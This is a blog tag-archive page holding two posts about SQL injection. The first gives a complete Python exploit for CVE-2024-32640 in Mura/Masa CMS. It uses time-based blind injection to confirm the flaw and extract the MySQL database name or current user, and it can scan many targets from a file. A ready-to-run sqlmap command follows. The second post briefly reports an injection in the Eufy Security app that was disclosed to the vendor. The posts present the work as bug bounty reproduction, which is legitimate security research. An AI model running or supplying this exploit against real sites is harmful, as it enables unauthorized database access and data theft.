Tag Archives: sqli

Mura/Masa CMS – SQL Injection CVE-2024-32640

A while back the illustrious team over at Project Discovery wrote about the discovery of an SQLi in Masa/Mura CMS. It’s a good writeup, so go check it out for the technical details.

Recently, I ran across four instances of this CMS in VDP/BB programs, and after searching for POCs out there, I didn’t find much in the way of a POC that would actually dump a little info to prove exploitation. One of them did download ghauri to do exploitation, but I wanted something standalone.

I do this because I want to make it as easy as possible to reproduce and triage. I seem to have bad luck with triagers on multiple platforms lately, including one that didn’t know how to PIP install a Python package, and one asking how to install Burp. Yes, you read that correctly.

Anyway, there were also some other features I always like to have like single-url scanning or scanning from a file or proxying, etc. So here is what I ended up with, as you can find on my GitHub. This will test for exploitability or retrieve the current username or DB name for MySQL.

#!/usr/bin/env python3

import requests
import argparse
import time
from urllib.parse import quote
from multiprocessing.dummy import Pool
import sys 

requests.packages.urllib3.disable_warnings()

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-32640 MySQL Blind SQL Injection Proof of Concept")
    parser.add_argument('-u', '--url', dest='url', type=str, help='Input URL for single target testing')
    parser.add_argument('-f', '--file', dest='file', type=str, help='File containing a list of URLs')
    parser.add_argument('-p', '--proxy', action='store_true', help='Use a proxy (localhost:8080)')
    parser.add_argument('--dump', dest='dump', choices=['dbname', 'user'], help='Dump specific information (e.g., dbname, user)')
    args = parser.parse_args()

    global proxies
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    } if args.proxy else None

    if args.dump:
        if args.url:
            if args.dump == 'dbname':
                dump_info(args.url, 'DATABASE()', quote('DATABASE()'))
            elif args.dump == 'user':
                dump_info(args.url, 'CURRENT_USER()', quote('CURRENT_USER()'))
        elif args.file:
            with open(args.file, 'r', encoding='utf-8') as fp:
                url_list = [line.strip() for line in fp]
            mp = Pool(10)
            if args.dump == 'dbname':
                mp.map(lambda url: dump_info(url, 'DATABASE()', quote('DATABASE()')), url_list)
            elif args.dump == 'user':
                mp.map(lambda url: dump_info(url, 'CURRENT_USER()', quote('CURRENT_USER()')), url_list)
            mp.close()
            mp.join()
    elif args.url and not args.file:
        poc(args.url)
    elif args.file:
        with open(args.file, 'r', encoding='utf-8') as fp:
            url_list = [line.strip() for line in fp]
        mp = Pool(10)
        mp.map(poc, url_list)
        mp.close()
        mp.join()
    else:
        print(f"Usage:\n\t python3 {sys.argv[0]} -h")

def poc(target):
    """Check if the target is vulnerable using a time-based SQL injection."""
    url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
    full_url = target + url_payload
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
        "Cache-Control": "no-cache",
        "Referer": full_url
    }

    detection_payload = "x%5C%27+AND+%28SELECT+3504+FROM+%28SELECT%28SLEEP%285%29%29%29MQYa%29--+pizzapower"

    data = f"object=displayregion&contenthistid={detection_payload}&previewid=1"

    session = requests.Session()
    start_time = time.time()
    response = session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
    elapsed_time = time.time() - start_time

    if elapsed_time >= 5:
        print(f'[+] The target {target} is vulnerable to SQL injection.')
        with open('result.txt', 'a') as f:
            f.write(target + '\n')
    else:
        print(f'[-] The target {target} does not appear to be vulnerable.')

def dump_info(target, readable_function, encoded_function):
    """Extract specified information (e.g., database name, user) using time-based blind SQL injection for MySQL."""
    url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
    full_url = target + url_payload
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
        "Cache-Control": "no-cache",
        "Referer": full_url
    }

    extracted_info = ""
    print(f"Extracting {readable_function} for {target}...")

    session = requests.Session()

    for i in range(1, 33):  # Assuming max length is 32 characters
        low, high = 32, 126 
        while low <= high:
            mid = (low + high) // 2
            full_sleep_time = 3
            payload = (f"x%5C%27%27+AND+%28SELECT+6666+FROM+%28SELECT%28SLEEP%28{full_sleep_time}-%28IF%28ORD%28MID%28%28IFNULL%28CAST%28{encoded_function}+AS+NCHAR%29%2C0x20%29%29%2C{i}%2C1%29%29%3E{mid}%2C0%2C1%29%29%29%29%29KLkb%29--+pizzapower")
            data = f"object=displayregion&contenthistid={payload}&previewid=1"

            start_time = time.time()
            session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
            elapsed_time = time.time() - start_time
            if elapsed_time >= full_sleep_time:
                low = mid + 1 
            else:
                high = mid - 1 

        if high >= 32:
            extracted_info += chr(high + 1)
            print(f"Extracted so far for {readable_function}: {extracted_info}")
        else:
            break 

    if extracted_info:
        print(f"{readable_function} extracted: {extracted_info}")
        with open(f'{readable_function.lower()}_result.txt', 'a') as f:
            f.write(f'{target}: {extracted_info}\n')
    else:
        print(f"Failed to extract {readable_function} for {target}. Ensure the database type is MySQL.")

if __name__ == '__main__':
    main()

But wait! If you’re in a real big hurry, just run this SQLMap command to dump the current user 🀣

sqlmap -u "https://example.com/index.cfm/_api/json/v1/default/?method=processAsyncObject" \
       --data "object=displayregion&contenthistid=x%5C'*--+Arrv&previewid=1" \
       --level 3 --risk 2 --method POST \
       --technique=T \
       --timeout=5 \
       --dbms=mysql \
       --current-user \
       --batch

SQL Injection in Eufy Security Application

I found a textbook SQLi in the Eufy Security application.

Don’t mind the heavy use of red blocks to redact. The first, normal request. Everything looks fine. Notice the response time at 35 milliseconds.

a normal request as seen in Burp

The second request with a 10 second sleep payload. Notice the response time in the bottom right corner.

Was able to dump some info to confirm this was actually real.

It’s been reported and confirmed by Eufy.